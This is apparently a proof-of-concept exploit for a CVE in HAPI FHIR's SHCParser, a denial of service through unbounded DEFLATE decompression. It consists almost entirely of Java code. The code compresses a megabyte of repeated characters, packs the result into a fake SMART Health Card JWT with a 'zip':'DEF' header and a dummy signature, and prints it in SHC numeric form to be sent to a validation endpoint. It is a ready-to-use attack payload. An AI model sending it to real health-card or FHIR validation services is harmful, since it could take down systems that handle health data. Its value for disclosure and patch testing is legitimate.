CVE-2026-81875: HAPI FHIR SHCParser Unbounded DEFLATE Decompression DoS

// 1. Build a highly compressible JSON blob (1 MB of repeated chars)
String body = "{\"a\":\"" + "A".repeat(1_000_000) + "\"}";
byte[] plain = body.getBytes(StandardCharsets.UTF_8);

// 2. Raw DEFLATE-compress it (no zlib wrapper; "true" = nowrap)
Deflater deflater = new Deflater(9, true);
deflater.setInput(plain);
deflater.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
while (!deflater.finished()) {
    int n = deflater.deflate(buf);
    bos.write(buf, 0, n);
}
byte[] compressed = bos.toByteArray();

// 3. Build a fake SHC JWT: header.payload.signature
//    header = {"alg":"ES256","zip":"DEF"}
String header  = Base64.getUrlEncoder().withoutPadding()
    .encodeToString("{\"alg\":\"ES256\",\"zip\":\"DEF\"}".getBytes());
String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(compressed);
String jwt     = header + "." + payload + ".fakesig";

// 4. Wrap in SHC numeric encoding and send to any SHC validation endpoint
//    (SHCParser also accepts raw JWT strings directly via decodeJWT)
System.out.println("shc:/" + toNumericMode(jwt)); // triggers unbounded inflate()